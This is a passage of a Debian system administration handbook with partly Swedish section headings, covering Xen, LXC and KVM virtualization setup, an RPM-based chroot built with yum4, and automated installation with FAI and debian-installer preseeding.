Xen is a “paravirtualization” solution. It introduces a thin abstraction layer, called a “hypervisor”, between the hardware and the upper systems; this acts as a referee that controls access to hardware from the virtual machines. However, it only handles a few of the instructions, the rest is directly executed by the hardware on behalf of the systems. The main advantage is that performances are not degraded, and systems run close to native speed; the drawback is that the kernels of the operating systems one wishes to use on a Xen hypervisor need to be adapted to run on Xen.

Let's spend some time on terms. The hypervisor is the lowest layer, which runs directly on the hardware, even below the kernel. This hypervisor can split the rest of the software across several domains, which can be seen as so many virtual machines. One of these domains (the first one that gets started) is known as dom0, and has a special role, since only this domain can control the hypervisor and the execution of other domains. These other domains are known as domU. In other words, and from a user point of view, the dom0 matches the “host” of other virtualization systems, while a domU can be seen as a “guest”.

CULTURE Xen and the various versions of Linux

Xen was initially developed as a set of patches that lived out of the official tree, and not integrated to the Linux kernel. At the same time, several upcoming virtualization systems (including KVM) required some generic virtualization-related functions to facilitate their integration, and the Linux kernel gained this set of functions (known as the paravirt_ops or pv_ops interface). Since the Xen patches were duplicating some of the functionality of this interface, they couldn't be accepted officially.

Xensource, the company behind Xen, therefore had to port Xen to this new framework, so that the Xen patches could be merged into the official Linux kernel. That meant a lot of code rewrite, and although Xensource soon had a working version based on the paravirt_ops interface, the patches were only progressively merged into the official kernel. The merge was completed in Linux 3.0.

→ https://wiki.xenproject.org/wiki/XenParavirtOps

Since Jessie is based on version 3.16 of the Linux kernel, the standard linux-image-686-pae and linux-image-amd64 packages include the necessary code, and the distribution-specific patching that was required for Squeeze and earlier versions of Debian is no more.

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

CULTURE Xen and non-Linux kernels

Xen requires modifications to all the operating systems one wants to run on it; not all kernels have the same level of maturity in this regard. Many are fully-functional, both as dom0 and domU: Linux 3.0 and later, NetBSD 4.0 and later, and OpenSolaris. Others only work as a domU. You can check the status of each operating system in the Xen wiki:

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

However, if Xen can rely on the hardware functions dedicated to virtualization (which are only present in more recent processors), even non-modified operating systems can run as domU (including Windows).

NOTE Architectures compatible with Xen

Xen is currently only available for the i386, amd64, arm64 and armhf architectures.

Using Xen under Debian requires three components:

The hypervisor itself. According to the available hardware, the appropriate package providing xen-hypervisor will be either xen-hypervisor-4.14-amd64, xen-hypervisor-4.14-armhf, or xen-hypervisor-4.14-arm64.

A kernel that runs on that hypervisor. Any kernel more recent than 3.0 will do, including the 5.10 version present in Bullseye.

The i386 architecture also requires a standard library with the appropriate patches taking advantage of Xen; this is in the libc6-xen package.

The hypervisor also brings xen-utils-4.14, which contains tools to control the hypervisor from the dom0. This in turn brings the appropriate standard library. During the installation of all that, configuration scripts also create a new entry in the GRUB bootloader menu, so as to start the chosen kernel in a Xen dom0. Note, however, that this entry is not usually set to be the first one in the list, but it will be selected by default.

Once these prerequisites are installed, the next step is to test the behavior of the dom0 by itself; this involves a reboot to the hypervisor and the Xen kernel. The system should boot in its standard fashion, with a few extra messages on the console during the early initialization steps.

Now is the time to actually install useful systems on the domU systems, using the tools from xen-tools. This package provides the xen-create-image command, which largely automates the task. The only mandatory parameter is --hostname, giving a name to the domU; other options are important, but they can be stored in the /etc/xen-tools/xen-tools.conf configuration file, and their absence from the command line doesn't trigger an error. It is therefore important to either check the contents of this file before creating images, or to use extra parameters in the xen-create-image invocation. Important parameters of note include the following:

--memory, to specify the amount of RAM dedicated to the newly created system;

--size and --swap, to define the size of the “virtual disks” available to the domU;

--debootstrap-cmd, to specify the which debootstrap command is used. The default is debootstrap if debootstrap and cdebootstrap are installed. In that case, the --dist option will also most often be used (with a distribution name such as bullseye).

GOING FURTHER Installing a non-Debian system in a domU

In case of a non-Linux system, care should be taken to define the kernel the domU must use, using the --kernel option.

--dhcp states that the domU's network configuration should be obtained by DHCP while --ip allows defining a static IP address.

Lastly, a storage method must be chosen for the images to be created (those that will be seen as hard disk drives from the domU). The simplest method, corresponding to the --dir option, is to create one file on the dom0 for each device the domU should be provided. For systems using LVM, the alternative is to use the --lvm option, followed by the name of a volume group; xen-create-image will then create a new logical volume inside that group, and this logical volume will be made available to the domU as a hard disk drive.

NOTE Storage in the domU

Entire hard disks can also be exported to the domU, as well as partitions, RAID arrays or pre-existing LVM logical volumes. These operations are not automated by xen-create-image, however, so editing the Xen image's configuration file is in order after its initial creation with xen-create-image.

Once these choices are made, we can create the image for our future Xen domU:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=bullseye --role=udev General Information -------------------- Hostname : testxen Distribution : bullseye Mirror : http://deb.debian.org/debian Partitions : swap 512M (swap) / 2G (ext4) Image type : sparse Memory size : 256M Bootloader : pygrub [...] Logfile produced at: /var/log/xen-tools/testxen.log Installation Summary --------------------- Hostname : testxen Distribution : bullseye MAC Address : 00:16:3E:C2:07:EE IP Address(es) : dynamic SSH Fingerprint : SHA256:K+0QjpGzZOacLZ3jX4gBwp0mCESt5ceN5HCJZSKWS1A (DSA) SSH Fingerprint : SHA256:9PnovvGRuTw6dUcEVzzPKTITO0+3Ki1Gs7wu4ke+4co (ECDSA) SSH Fingerprint : SHA256:X5z84raKBajUkWBQA6MVuanV1OcV2YIeD0NoCLLo90k (ED25519) SSH Fingerprint : SHA256:VXu6l4tsrCoRsXOqAwvgt57sMRj2qArEbOzHeydvV34 (RSA) Root Password : FS7CUxsY3xkusv7EkbT9yae

We now have a virtual machine, but it is currently not running (and therefore only using space on the dom0's hard disk). Of course, we can create more images, possibly with different parameters.

Before turning these virtual machines on, we need to define how they'll be accessed. They can of course be considered as isolated machines, only accessed through their system console, but this rarely matches the usage pattern. Most of the time, a domU will be considered as a remote server, and accessed only through a network. However, it would be quite inconvenient to add a network card for each domU; which is why Xen allows creating virtual interfaces that each domain can see and use in a standard way. Note that these cards, even though they're virtual, will only be useful once connected to a network, even a virtual one. Xen has several network models for that:

The simplest model is the bridge model; all the eth0 network cards (both in the dom0 and the domU systems) behave as if they were directly plugged into an Ethernet switch.

Then comes the routing model, where the dom0 behaves as a router that stands between the domU systems and the (physical) external network.

Finally, in the NAT model, the dom0 is again between the domU systems and the rest of the network, but the domU systems are not directly accessible from outside, and traffic goes through some network address translation on the dom0.

These three networking nodes involve a number of interfaces with unusual names, such as vif*, veth*, peth* and xenbr0. The Xen hypervisor arranges them in whichever layout has been defined, under the control of the user-space tools. Since the NAT and routing models are only adapted to particular cases, we will only address the bridging model.

The standard configuration of the Xen packages does not change the system-wide network configuration. However, the xend daemon is configured to integrate virtual network interfaces into any pre-existing network bridge (with xenbr0 taking precedence if several such bridges exist). We must therefore set up a bridge in /etc/network/interfaces (which requires installing the bridge-utils package, which is why the xen-utils package recommends it) to replace the existing eth0 entry (be careful to use the correct network device name):

auto xenbr0 iface xenbr0 inet dhcp bridge_ports eth0 bridge_maxwait 0

After rebooting to make sure the bridge is automatically created, we can now start the domU with the Xen control tools, in particular the xl command. This command allows different manipulations on the domains, including listing them and, starting/stopping them. You might need to increase the default memory by editing the variable memory from configuration file (in this case, /etc/xen/testxen.cfg). Here we have set it to 1024 (megabytes).

# xl list Name ID Mem VCPUs State Time(s) Domain-0 0 3918 2 r----- 35.1 # xl create /etc/xen/testxen.cfg Parsing config from /etc/xen/testxen.cfg # xl list Name ID Mem VCPUs State Time(s) Domain-0 0 2757 2 r----- 45.2 testxen 3 1024 1 r----- 1.3

TOOL Choice of toolstacks to manage Xen VM

In Debian 7 and older releases, xm was the reference command line tool to use to manage Xen virtual machines. It has now been replaced by xl which is mostly backwards compatible. But those are not the only available tools: virsh of libvirt and xe of XenServer's XAPI (commercial offering of Xen) are alternative tools.

CAUTION Only one domU per image!

While it is of course possible to have several domU systems running in parallel, they will all need to use their own image, since each domU is made to believe it runs on its own hardware (apart from the small slice of the kernel that talks to the hypervisor). In particular, it isn't possible for two domU systems running simultaneously to share storage space. If the domU systems are not run at the same time, it is, however, quite possible to reuse a single swap partition, or the partition hosting the /home filesystem.

Note that the testxen domU uses real memory taken from the RAM that would otherwise be available to the dom0, not simulated memory. Care should therefore be taken, when building a server meant to host Xen instances, to provision the physical RAM accordingly.

Voilà! Our virtual machine is starting up. We can access it in one of two modes. The usual way is to connect to it “remotely” through the network, as we would connect to a real machine; this will usually require setting up either a DHCP server or some DNS configuration. The other way, which may be the only way if the network configuration was incorrect, is to use the hvc0 console, with the xl console command:

# xl console testxen [...] Debian GNU/Linux 11 testxen hvc0 testxen login:

One can then open a session, just like one would do if sitting at the virtual machine's keyboard. Detaching from this console is achieved through the Control+] key combination.

TIP Getting the console straight away

Sometimes one wishes to start a domU system and get to its console straight away; this is why the xl create command takes a -c switch. Starting a domU with this switch will display all the messages as the system boots.

TOOL Graphical Xen managers

OpenXenManager (in the openxenmanager package), a graphical interface allowing remote management of Xen domains via Xen's API, is no longer provided by Debian due to the lack of upstream development. If you are looking for a replacement, virt-manager provides support to handle Xen VMs as well.

Once the domU is up, it can be used just like any other server (since it is a GNU/Linux system after all). However, its virtual machine status allows some extra features. For instance, a domU can be temporarily paused then resumed, with the xl pause and xl unpause commands. Note that even though a paused domU does not use any processor power, its allocated memory is still in use. It may be interesting to consider the xl save and xl restore commands: saving a domU frees the resources that were previously used by this domU, including RAM. When restored (or unpaused, for that matter), a domU doesn't even notice anything beyond the passage of time. If a domU was running when the dom0 is shut down, the packaged scripts automatically save the domU, and restore it on the next boot. This will of course involve the standard inconvenience incurred when hibernating a laptop computer, for instance; in particular, if the domU is suspended for too long, network connections may expire. Note also that Xen is so far incompatible with a large part of ACPI power management, which precludes suspending the host (dom0) system.

Halting or rebooting a domU can be done either from within the domU (with the shutdown command) or from the dom0, with xl shutdown or xl reboot.

Most of the xl subcommands expect one or more arguments, often a domU name. These arguments are well described in the xl(1) manual page.

GÅ VIDARE Avancerad Xen

Xen has many more features than we can describe in these few paragraphs. In particular, the system is very dynamic, and many parameters for one domain (such as the amount of allocated memory, the visible hard drives, the behavior of the task scheduler, and so on) can be adjusted even when that domain is running. A domU can even be migrated across servers without being shut down, and without losing its network connections! For all these advanced aspects, the primary source of information is the official Xen documentation.

→ https://xenproject.org/help/documentation/

12.2.2. LXC

Even though it is used to build “virtual machines”, LXC is not, strictly speaking, a virtualization system, but a system to isolate groups of processes from each other even though they all run on the same host. It takes advantage of a set of recent evolutions in the Linux kernel, collectively known as control groups, by which different sets of processes called “groups” have different views of certain aspects of the overall system. Most notable among these aspects are the process identifiers, the network configuration, and the mount points. Such a group of isolated processes will not have any access to the other processes in the system, and its accesses to the filesystem can be restricted to a specific subset. It can also have its own network interface and routing table, and it may be configured to only see a subset of the available devices present on the system.

These features can be combined to isolate a whole process family starting from the init process, and the resulting set looks very much like a virtual machine. The official name for such a setup is a “container” (hence the LXC moniker: LinuX Containers), but a rather important difference with “real” virtual machines such as provided by Xen or KVM is that there is no second kernel; the container uses the very same kernel as the host system. This has both pros and cons: advantages include excellent performance due to the total lack of overhead, and the fact that the kernel has a global vision of all the processes running on the system, so the scheduling can be more efficient than it would be if two independent kernels were to schedule different task sets. Chief among the inconveniences is the impossibility to run a different kernel in a container (whether a different Linux version or a different operating system altogether).

NOTE LXC isolation limits

LXC containers do not provide the level of isolation achieved by heavier emulators or virtualizers. In particular:

since the kernel is shared among the host system and the containers, processes constrained to containers can still access the kernel messages, which can lead to information leaks if messages are emitted by a container;

for similar reasons, if a container is compromised and a kernel vulnerability is exploited, the other containers may be affected too;

on the filesystem, the kernel checks permissions according to the numerical identifiers for users and groups; these identifiers may designate different users and groups depending on the container, which should be kept in mind if writable parts of the filesystem are shared among containers.

Since we are dealing with isolation and not plain virtualization, setting up LXC containers is more complex than just running debian-installer on a virtual machine. We will describe a few prerequisites, then go on to the network configuration; we will then be able to actually create the system to be run in the container.

12.2.2.1. Preliminary Steps

The lxc package contains the tools required to run LXC, and must therefore be installed.

LXC also requires the control groups configuration system, which is a virtual filesystem to be mounted on /sys/fs/cgroup. Since Debian 8 switched to systemd, which also relies on control groups, this is now done automatically at boot time without further configuration.

12.2.2.2. Nätverkskonfiguration

The goal of installing LXC is to set up virtual machines; while we could, of course, keep them isolated from the network, and only communicate with them via the filesystem, most use cases involve giving at least minimal network access to the containers. In the typical case, each container will get a virtual network interface, connected to the real network through a bridge. This virtual interface can be plugged either directly onto the host's physical network interface (in which case the container is directly on the network), or onto another virtual interface defined on the host (and the host can then filter or route traffic). In both cases, the bridge-utils package will be required.

The simple case is just a matter of editing /etc/network/interfaces, moving the configuration for the physical interface (for instance, eth0 or enp1s0) to a bridge interface (usually br0), and configuring the link between them. For instance, if the network interface configuration file initially contains entries such as the following:

auto eth0 iface eth0 inet dhcp

They should be disabled and replaced with the following:

auto br0 iface br0 inet dhcp bridge-ports eth0

The effect of this configuration will be similar to what would be obtained if the containers were machines plugged into the same physical network as the host. The “bridge” configuration manages the transit of Ethernet frames between all the bridged interfaces, which includes the physical eth0 as well as the interfaces defined for the containers.

In cases where this configuration cannot be used (for instance, if no public IP addresses can be assigned to the containers), a virtual tap interface will be created and connected to the bridge. The equivalent network topology then becomes that of a host with a second network card plugged into a separate switch, with the containers also plugged into that switch. The host must then act as a gateway for the containers if they are meant to communicate with the outside world.

In addition to bridge-utils, this “rich” configuration requires the vde2 package; the /etc/network/interfaces file then becomes:

# Interface eth0 is unchanged auto eth0 iface eth0 inet dhcp # Virtual interface auto tap0 iface tap0 inet manual vde2-switch -t tap0 # Bridge for containers auto br0 iface br0 inet static bridge-ports tap0 address 10.0.0.1 netmask 255.255.255.0

The network can then be set up either statically in the containers, or dynamically with DHCP server running on the host. Such a DHCP server will need to be configured to answer queries on the br0 interface.

12.2.2.3. Ställa in systemet

Let us now set up the filesystem to be used by the container. Since this “virtual machine” will not run directly on the hardware, some tweaks are required when compared to a standard filesystem, especially as far as the kernel, devices and consoles are concerned. Fortunately, the lxc package includes scripts that mostly automate this configuration. For instance, the following commands (which require the debootstrap and rsync packages) will install a Debian container:

# lxc-create -n testlxc -t debian debootstrap is /usr/sbin/debootstrap Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ... Downloading debian minimal ... I: Retrieving Release I: Retrieving Release.gpg [...] Download complete. Copying rootfs to /var/lib/lxc/testlxc/rootfs... [...] #

Note that the filesystem is initially created in /var/cache/lxc, then moved to its destination directory. This allows creating identical containers much more quickly, since only copying is then required.

Note that the Debian template creation script accepts an --arch option to specify the architecture of the system to be installed and a --release option if you want to install something else than the current stable release of Debian. You can also set the MIRROR environment variable to point to a local Debian mirror.

The lxc package further creates a bridge interface lxcbr0, which by default is used by all newly created containers via /etc/lxc/default.conf and the lxc-net service:

lxc.net.0.type = veth lxc.net.0.link = lxcbr0 lxc.net.0.flags = up

These entries mean, respectively, that a virtual interface will be created in every new container; that it will automatically be brought up when said container is started; and that it will be automatically connected to the lxcbr0 bridge on the host. You will find these settings in the created container's configuration (/var/lib/lxc/testlxc/config), where also the device' MAC address will be specified in lxc.net.0.hwaddr. Should this last entry be missing or disabled, a random MAC address will be generated.

Another useful entry in that file is the setting of the hostname:

lxc.uts.name = testlxc

The newly-created filesystem now contains a minimal Debian system and a network interface.

12.2.2.4. Starting the Container

Now that our virtual machine image is ready, let's start the container with lxc-start --name=testlxc.

In LXC releases following 2.0.8, root passwords are not set by default. We can set one running lxc-attach -n testlxc passwd if we want. We can login with:

# lxc-console -n testlxc Connected to tty 1 Type <Ctrl+a q> to exit the console, <Ctrl+a Ctrl+a> to enter Ctrl+a itself Debian GNU/Linux 11 testlxc tty1 testlxc login: root Password: Linux testlxc 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Mar 9 01:45:21 UTC 2022 on console root@testlxc:~# ps auxwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 18964 11464 ? Ss 01:36 0:00 /sbin/init root 45 0.0 0.2 31940 10396 ? Ss 01:37 0:00 /lib/systemd/systemd-journald root 71 0.0 0.1 99800 5724 ? Ssl 01:37 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid [..] root 97 0.0 0.1 13276 6980 ? Ss 01:37 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups root 160 0.0 0.0 6276 3928 pts/0 Ss 01:46 0:00 /bin/login -p -- root 169 0.0 0.0 7100 3824 pts/0 S 01:51 0:00 \_ -bash root 172 0.0 0.0 9672 3348 pts/0 R+ 01:51 0:00 \_ ps auxwf root 164 0.0 0.0 5416 2128 pts/1 Ss+ 01:49 0:00 /sbin/agetty -o -p -- \u --noclear [...] root@testlxc:~#

We are now in the container; our access to the processes is restricted to only those started from the container itself, and our access to the filesystem is similarly restricted to the dedicated subset of the full filesystem (/var/lib/lxc/testlxc/rootfs). We can exit the console with Control+a q.

Note that we ran the container as a background process, thanks to lxc-start starting using the --daemon option by default. We can interrupt the container with a command such as lxc-stop --name=testlxc.

The lxc package contains an initialization script that can automatically start one or several containers when the host boots (it relies on lxc-autostart which starts containers whose lxc.start.auto option is set to 1). Finer-grained control of the startup order is possible with lxc.start.order and lxc.group: by default, the initialization script first starts containers which are part of the onboot group and then the containers which are not part of any group. In both cases, the order within a group is defined by the lxc.start.order option.

GÅ VIDARE Massvirtualisering

Since LXC is a very lightweight isolation system, it can be particularly adapted to massive hosting of virtual servers. The network configuration will probably be a bit more advanced than what we described above, but the “rich” configuration using tap and veth interfaces should be enough in many cases.

It may also make sense to share part of the filesystem, such as the /usr and /lib subtrees, so as to avoid duplicating the software that may need to be common to several containers. This will usually be achieved with lxc.mount.entry entries in the containers configuration file. An interesting side-effect is that the processes will then use less physical memory, since the kernel is able to detect that the programs are shared. The marginal cost of one extra container can then be reduced to the disk space dedicated to its specific data, and a few extra processes that the kernel must schedule and manage.

We haven't described all the available options, of course; more comprehensive information can be obtained from the lxc(7) and lxc.container.conf(5) manual pages and the ones they reference.

12.2.3. Virtualisering med KVM

KVM, which stands for Kernel-based Virtual Machine, is first and foremost a kernel module providing most of the infrastructure that can be used by a virtualizer, but it is not a virtualizer by itself. Actual control for the virtualization is handled by a QEMU-based application. Don't worry if this section mentions qemu-* commands: it is still about KVM.

Unlike other virtualization systems, KVM was merged into the Linux kernel right from the start. Its developers chose to take advantage of the processor instruction sets dedicated to virtualization (Intel-VT and AMD-V), which keeps KVM lightweight, elegant and not resource-hungry. The counterpart, of course, is that KVM doesn't work on any computer but only on those with appropriate processors. For x86-based computers, you can verify that you have such a processor by looking for “vmx” or “svm” in the CPU flags listed in /proc/cpuinfo.

With Red Hat actively supporting its development, KVM has more or less become the reference for Linux virtualization.

12.2.3.1. Preliminary Steps

Unlike such tools as VirtualBox, KVM itself doesn't include any user-interface for creating and managing virtual machines. The virtual qemu-kvm package only provides an executable able to start a virtual machine, as well as an initialization script that loads the appropriate kernel modules.

Fortunately, Red Hat also provides another set of tools to address that problem, by developing the libvirt library and the associated virtual machine manager tools. libvirt allows managing virtual machines in a uniform way, independently of the virtualization system involved behind the scenes (it currently supports QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare, and UML). virt-manager is a graphical interface that uses libvirt to create and manage virtual machines.

We first install the required packages, with apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer. libvirt-daemon-system provides the libvirtd daemon, which allows (potentially remote) management of the virtual machines running of the host, and starts the required VMs when the host boots. libvirt-clients provides the virsh command-line tool, which allows controlling the libvirtd-managed machines.

The virtinst package provides virt-install, which allows creating virtual machines from the command line. Finally, virt-viewer allows accessing a VM's graphical console.

12.2.3.2. Nätverkskonfiguration

Just as in Xen and LXC, the most frequent network configuration involves a bridge grouping the network interfaces of the virtual machines (see Avsnitt 12.2.2.2, ”Nätverkskonfiguration”).

Alternatively, and in the default configuration provided by KVM, the virtual machine is assigned a private address (in the 192.168.122.0/24 range), and NAT is set up so that the VM can access the outside network.

The rest of this section assumes that the host has an eth0 physical interface and a br0 bridge, and that the former is connected to the latter.

12.2.3.3. Installation med virt-install

Creating a virtual machine is very similar to installing a normal system, except that the virtual machine's characteristics are described in a seemingly endless command line.

Practically speaking, this means we will use the Debian installer, by booting the virtual machine on a virtual DVD-ROM drive that maps to a Debian DVD image stored on the host system. The VM will export its graphical console over the VNC protocol (see Avsnitt 9.2.2, ”Använda grafiska fjärrskrivbord” for details), which will allow us to control the installation process.

We first need to tell libvirtd where to store the disk images, unless the default location (/var/lib/libvirt/images/) is fine.

# mkdir /srv/kvm # virsh pool-create-as srv-kvm dir --target /srv/kvm Pool srv-kvm created #

TIPS Lägg till din användare till libvirt gruppen

All samples in this section assume that you are running commands as root. Effectively, if you want to control a local libvirt daemon, you need either to be root or to be a member of the libvirt group (which is not the case by default). Thus if you want to avoid using root rights too often, you can add yourself to the libvirt group and run the various commands under your user identity.

Let us now start the installation process for the virtual machine, and have a closer look at virt-install's most important options. This command registers the virtual machine and its parameters in libvirtd, then starts it so that its installation can proceed.

# virt-install --connect qemu:///system --virt-type kvm --name testkvm --memory 2048 --disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 --cdrom /srv/isos/debian-11.2.0-amd64-netinst.iso --network bridge=virbr0 --graphics vnc --os-type linux --os-variant debiantesting Starting install... Allocating 'testkvm.qcow'

The --connect option specifies the “hypervisor” to use. Its form is that of an URL containing a virtualization system (xen://, qemu://, lxc://, openvz://, vbox://, and so on) and the machine that should host the VM (this can be left empty in the case of the local host). In addition to that, and in the QEMU/KVM case, each user can manage virtual machines working with restricted permissions, and the URL path allows differentiating “system” machines (/system) from others (/session).

Since KVM is managed the same way as QEMU, the --virt-type kvm allows specifying the use of KVM even though the URL looks like QEMU.

The --name option defines a (unique) name for the virtual machine.

The --memory option allows specifying the amount of RAM (in MB) to allocate for the virtual machine.

The --disk specifies the location of the image file that is to represent our virtual machine's hard disk; that file is created, unless present, with a size (in GB) specified by the size parameter. The format parameter allows choosing among several ways of storing the image file. The default format (qcow2) allows starting with a small file that only grows when the virtual machine starts actually using space.

The --cdrom option is used to indicate where to find the optical disk to use for installation. The path can be either a local path for an ISO file, an URL where the file can be obtained, or the device file of a physical CD-ROM drive (i.e. /dev/cdrom).

The --network specifies how the virtual network card integrates in the host's network configuration. The default behavior (which we explicitly forced in our example) is to integrate it into any pre-existing network bridge. If no such bridge exists, the virtual machine will only reach the physical network through NAT, so it gets an address in a private subnet range (192.168.122.0/24).

The default network configuration, which contains the definition for a virbr0 bridge interface, can be edited using virsh net-edit default and started via virsh net-start default if not already done automatically during system start.

--graphics vnc states that the graphical console should be made available using VNC. The default behavior for the associated VNC server is to only listen on the local interface; if the VNC client is to be run on a different host, establishing the connection will require setting up an SSH tunnel (see Avsnitt 9.2.1.4, ”'Skapa krypterade tunnlar med portvidarebefordring”). Alternatively, --graphics vnc,listen=0.0.0.0 can be used so that the VNC server is accessible from all interfaces; note that if you do that, you really should design your firewall accordingly.

The --os-type and --os-variant options allow optimizing a few parameters of the virtual machine, based on some of the known features of the operating system mentioned there.

The full list of OS types can be shown using the osinfo-query os command from the libosinfo-bin package.

At this point, the virtual machine is running, and we need to connect to the graphical console to proceed with the installation process. If the previous operation was run from a graphical desktop environment, this connection should be automatically started. If not, or if we operate remotely, virt-viewer can be run from any graphical environment to open the graphical console (note that the root password of the remote host is asked twice because the operation requires 2 SSH connections):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm root@server's password: root@server's password:

Figur 12.1. Connecting to installer session using virt-viewer

When the installation process ends, the virtual machine is restarted, now ready for use.

12.2.3.4. Hantera maskiner med virsh

Now that the installation is done, let us see how to handle the available virtual machines. The first thing to try is to ask libvirtd for the list of the virtual machines it manages:

# virsh -c qemu:///system list --all Id Name State ---------------------------------- 8 testkvm shut off

Let's start our test virtual machine:

# virsh -c qemu:///system start testkvm Domain testkvm started

We can now get the connection instructions for the graphical console (the returned VNC display can be given as parameter to vncviewer):

# virsh -c qemu:///system vncdisplay testkvm 127.0.0.1:0

Other available virsh subcommands include:

reboot för att starta om en virtuell maskin;

shutdown to trigger a clean shutdown;

destroy, to stop it brutally;

suspend för att pausa den;

resume to unpause it;

autostart to enable (or disable, with the --disable option) starting the virtual machine automatically when the host starts;

undefine to remove all traces of the virtual machine from libvirtd.

All these subcommands take a virtual machine identifier as a parameter.

Installing an RPM based chroot in Debian with yum

If a chroot is meant to run Debian (or one of its derivatives), the system can be initialized with debootstrap. But if it is to be installed with an RPM-based system (such as Fedora, CentOS or Scientific Linux), the setup will need to be done using the yum utility, available as yum4 in the nextgen-yum4 package, since the original program has been removed from Debian before the Bullseye release due to being unmaintained, outdated, and obsoleted by dnf.

The procedure requires using rpm to extract an initial set of files, including notably yum configuration files, and then calling yum4 to extract the remaining set of packages. But since we call yum4 from outside the chroot, we need to make some temporary changes. In the sample below, the target chroot is /srv/centos.

# rootdir="/srv/centos" # mkdir -p "$rootdir" /etc/rpm # echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath # wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-9.2009.0.el7.centos.x86_64.rpm # rpm --nodeps --root "$rootdir" -i centos-release-7-9.2009.0.el7.centos.x86_64.rpm rpm: RPM should not be used directly install RPM packages, use Alien instead! rpm: However assuming you know what you are doing... warning: centos-release-7-9.2009.0.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY # sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo # yum4 --assumeyes --installroot $rootdir groupinstall core [...] # sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo # chroot /srv/centos/ [root@testsystem /]#

12.3. Automatiserad installation

The Falcot Corp administrators, like many administrators of large IT services, need tools to install (or reinstall) quickly, and automatically if possible, their new machines.

These requirements can be met by a wide range of solutions. On the one hand, generic tools such as SystemImager handle this by creating an image based on a template machine, then deploy that image to the target systems; at the other end of the spectrum, the standard Debian installer can be preseeded with a configuration file giving the answers to the questions asked during the installation process. As a sort of middle ground, a hybrid tool such as FAI (Fully Automatic Installer) installs machines using the packaging system, but it also uses its own infrastructure for tasks that are more specific to massive deployments (such as starting, partitioning, configuration and so on).

Each of these solutions has its pros and cons: SystemImager works independently from any particular packaging system, which allows it to manage large sets of machines using several distinct Linux distributions. It also includes an update system that doesn't require a reinstallation, but this update system can only be reliable if the machines are not modified independently; in other words, the user must not update any software on their own, or install any other software. Similarly, security updates must not be automated, because they have to go through the centralized reference image maintained by SystemImager. This solution also requires the target machines to be homogeneous, otherwise many different images would have to be kept and managed (an amd64 image won't fit on a powerpc machine, and so on).

On the other hand, an automated installation using debian-installer can adapt to the specifics of each machine: the installer will fetch the appropriate kernel and software packages from the relevant repositories, detect available hardware, partition the whole hard disk to take advantage of all the available space, install the corresponding Debian system, and set up an appropriate bootloader. However, the standard installer will only install standard Debian versions, with the base system and a set of pre-selected “tasks”; this precludes installing a particular system with non-packaged applications. Fulfilling this particular need requires customizing the installer… Fortunately, the installer is very modular, and there are tools to automate most of the work required for this customization, most importantly simple-cdd (CDD being an acronym for Custom Debian Derivative). Even this solution, however, only handles initial installations; this is usually not a problem since the APT tools allow efficient deployment of updates later on.

We will only give a rough overview of FAI, and skip SystemImager altogether (which is no longer in Debian, but available as a third-party package), in order to focus more intently on debian-installer and simple-cdd, which are more interesting in a Debian-only context.

12.3.1. Helautomatisk installation (FAI)

Fully Automatic Installer is probably the oldest automated deployment system for Debian, which explains its status as a reference; but its very flexible nature only just compensates for the complexity it involves.

FAI requires a server system to store deployment information and allow target machines to boot from the network. This server requires the fai-server package (or fai-quickstart, which also brings the required elements for a standard configuration).

FAI uses a specific approach for defining the various installable profiles. Instead of simply duplicating a reference installation, FAI is a full-fledged installer, fully configurable via a set of files and scripts stored on the server; the default location /srv/fai/config/ according to /etc/fai/nfsroot.conf is not automatically created, so the administrator needs to create it along with the relevant files. Most of the times, these files will be customized from the example files available in the documentation for the fai-doc package, more particularly the /usr/share/doc/fai-doc/examples/simple/ directory.

Once the profiles are defined, the fai-setup command generates the elements required to start an FAI installation; this mostly means preparing or updating a minimal system (NFS-root) used during installation. An alternative is to generate a dedicated boot CD with fai-cd.

Creating all these configuration files requires some understanding of the way FAI works. A typical installation process is made of the following steps:

fetching a kernel from the network, and booting it;

montera rotfilsystemet från NFS;

executing /usr/sbin/fai, which controls the rest of the process (the next steps are therefore initiated by this script);

copying the configuration space from the server into /fai/;

running fai-class. The /fai/class/[0-9][0-9]* scripts are executed in turn, and return names of “classes” that apply to the machine being installed; this information will serve as a base for the following steps. This allows for some flexibility in defining the services to be installed and configured.

fetching a number of configuration variables, depending on the relevant classes;

partitioning the disks and formatting the partitions, based on information provided in /fai/disk_config/class;

mounting said partitions;

Installation av bassystemet;

preseeding the Debconf database with fai-debconf;

fetching the list of available packages for APT;

installing the packages listed in /fai/package_config/class;

executing the post-configuration scripts, /fai/scripts/class/[0-9][0-9]*;

recording the installation logs, unmounting the partitions, and rebooting.

12.3.2. Preseeding Debian-Installer

At the end of the day, the best tool to install Debian systems should logically be the official Debian installer. This is why, right from its inception, debian-installer has been designed for automated use, taking advantage of the infrastructure provided by debconf. The latter allows, on the one hand, to reduce the number of questions asked (hidden questions will use the provided default answer), and on the other hand, to provide the default answers separately, so that installation can be non-interactive. This last feature is known as preseeding.

GÅ VIDARE Debconf med en centraliserad databas

